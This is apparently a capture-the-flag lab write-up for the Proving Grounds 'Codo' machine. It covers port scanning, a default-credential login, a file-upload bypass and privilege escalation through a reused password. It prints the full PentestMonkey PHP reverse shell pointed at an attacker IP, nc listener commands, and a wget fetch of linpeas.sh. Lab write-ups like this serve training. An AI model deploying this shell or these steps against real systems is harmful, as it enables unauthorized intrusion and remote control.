Codo - Proving Grounds

Enumeration

Let's start by enumerating all TCP ports with nmap.
nmap -sCV -v -p- --min-rate 1000 -T4 192.168.177.23
Pasted image 20240919122316.png
We have SSH(port 22) and Apache(port 80).
Let's access the Apache server.

Apache - port 80

http://192.168.177.23/
Pasted image 20240919122714.png
We see a main page CodoLogic which I searched for vulnerabilities and found default credentials admin:admin. I logged in with it and accessed the admin page.
http://192.168.177.23/index.php?u=/#
Pasted image 20240919122847.png

Foothold - CodoLogic

I browsed for some vulnerability on CodoLogic and found a Remote Code Execution (RCE) exploit on this link, which we can use to get a reverse shell on the target machine.
nano 50978.py
chmod -x 50978.py
I changed the proxy data to the target IP and target port before running the exploit.
Pasted image 20240919125045.png
Let's start a listener and execute the POC to get a reverse shell.
nc -lvnp 1234
python2 50978.py -t http://192.168.177.23 -u admin -p admin -i 192.168.45.248 -n 1234
Pasted image 20240919125104.png
Since it's not working, I checked the POC and it looks like there is an /admin subdirectory on this target, so let's test it and see what can be done manually.
http://192.168.177.23/admin/
Pasted image 20240919140451.png
Here I find an admin panel, so let's try to upload the reverse shell here.
On Global Settings, we have an Allowed Upload types (comma separated) field, so let's just add the .php extension and upload the reverse shell.
Pasted image 20240919140657.png
Let's use PentestMonkey's reverse shell from this link to get a reverse shell by uploading this PHP file on the logo.
nano revshell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.248';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Pasted image 20240919141202.png
After we upload the reverse shell, let's start a listener and execute it on /assets/img/attachments/revshell.php path.
Pasted image 20240919141228.png
nc -lvnp 4444
http://192.168.177.23/sites/default/assets/img/attachments/revshell.php
Pasted image 20240919141621.png

Privilege Escalation

I tried to get the user flag and I found just a user called offsec in the /home directory.
cd /home
cd offsec
ls -la
Pasted image 20240919152408.png

Linpeas

I uploaded linpeas.sh to the target machine and ran it.
python3 -m http.server 80
wget http://192.168.45.226/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Searching passwords in config PHP files

Pasted image 20240919153944.png
I found a password FatPanda123, so let's try it for the offsec user via SSH.
ssh root@192.168.177.23
Pasted image 20240919154528.png
Since we got a shell, let's get the root flag.
cd /root
ls
Pasted image 20240919154820.png